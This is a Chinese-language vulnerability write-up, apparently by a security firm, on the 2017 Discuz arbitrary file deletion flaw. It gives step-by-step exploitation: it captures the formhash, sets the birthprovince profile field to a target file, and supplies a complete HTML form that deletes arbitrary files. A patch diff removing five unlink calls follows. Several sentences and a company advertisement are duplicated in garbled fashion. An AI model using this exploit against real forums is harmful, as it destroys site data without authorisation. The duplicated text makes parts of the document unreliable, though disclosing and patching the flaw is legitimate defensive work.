Discuz在2017年9月29日更新了漏洞修复补丁,具体修复了DISCUZ前台的一个任意文件的
删除漏洞,关于这个discuz论坛文件删除漏洞方面曾在2014年里被提交到discuz官方以及wooyun
乌云官方,但此次漏洞完全是因为漏洞修复的不彻底,并可以再次利用,导致了漏洞的发生。
乌云官方,但此次漏洞完全是因为漏洞修复的不彻底,并可以再次利用,导致了漏洞的发生。
此次Discuz漏洞的影响范围甚广,Discuz 3.4以下的版本,包含了 Discuz X3.2 Discuz X3.1
DiscuzX3.0 Discuz2.5等系列的版本漏洞。Sine安全公司是一家专注于:服务器安全、网站安全、
网站安全检测、网站漏洞修复,渗透测试,安全服务于一体的网络安全服务提供商。
DiscuzX3.0 Discuz2.5等系列的版本漏洞。Sine安全公司是一家专注于:服务器安全、网站安全、
网站安全检测、网站漏洞修复,渗透测试,安全服务于一体的网络安全服务提供商。
Discuz漏洞的具体利用详情:
漏洞测试环境如下:windows2008+PHP5.2+MYSQL+ Discuz X3.2
我们来新建一个文本文档来作为测试:
打开论坛—再点击论坛设置-找到个人资料,右键查看页面的源代码,找到formhash这个值.
http://www.sinesafe.com/discuz3_2/home.php?mod=spacecp&ac=profile
我们查看到的formhash值是b21b6577,我们再来访问下
http://www.sinesafe.com/discuz3_2/home.php?mod=spacecp&ac=profile&op=base
并post提交方式,提交数据到这个地址如下图所示:
个人论坛设置里的出生地,被修改成要删除的文件。
最后构造表单来执行删除文件
<form action=”http://www.sinesafe.com/discuz3_2/home.php?
mod=spacecp&ac=profile&op=base” method=”POST” enctype=”multipart/form-data”>
<input type=”file” name=”birthprovince” id=”file” />
<input type=”text” name=”formhash” value=”b21b6577″/></p>
<input type=”text” name=”profilesubmit” value=”1″/></p>
<input type=”submit” value=”Submit” />
</from>
我们在表单里随便上传一张图片,即可删除论坛里任意的文件。Sine安全公司是一家专注于:服
务器安全、网站安全、网站安全检测、网站漏洞修复,渗透测试,安全服务于一体的网络安全服务
提供商。
务器安全、网站安全、网站安全检测、网站漏洞修复,渗透测试,安全服务于一体的网络安全服务
提供商。
discuz漏洞修复方案:
找到:/source/include/spacecp/spacecp_profile.php
关于调用了unlink 相关的函数删除掉,一共有5处。
if($_GET['deletefile'] && is_array($_GET['deletefile'])) {
foreach($_GET['deletefile'] as $key => $value) {
if(isset($_G['cache']['profilesetting'][$key]) && $_G
['cache']['profilesetting'][$key]['formtype'] == 'file') {
- @unlink(getglobal
('setting/attachdir').'./profile/'.$space[$key]);
- @unlink(getglobal
('setting/attachdir').'./profile/'.$verifyinfo['field'][$key]);
$verifyarr[$key] = $setarr[$key] = '';
}
}
@@ -215,17 +213,14 @@ if(submitcheck('profilesubmit')) {
$attach['attachment'] = dhtmlspecialchars(trim
($attach['attachment']));
if($vid && $verifyconfig['available'] && isset
($verifyconfig['field'][$key])) {
if(isset($verifyinfo['field'][$key])) {
- @unlink(getglobal
('setting/attachdir').'./profile/'.$verifyinfo['field'][$key]);
$verifyarr[$key] = $attach
['attachment'];
}
continue;
}
if(isset($setarr[$key]) && $_G['cache']
['profilesetting'][$key]['needverify']) {
- @unlink(getglobal
('setting/attachdir').'./profile/'.$verifyinfo['field'][$key]);
$verifyarr[$key] = $attach['attachment'];
continue;
}
- @unlink(getglobal
('setting/attachdir').'./profile/'.$space[$key]);
$setarr[$key] = $attach['attachment'];
}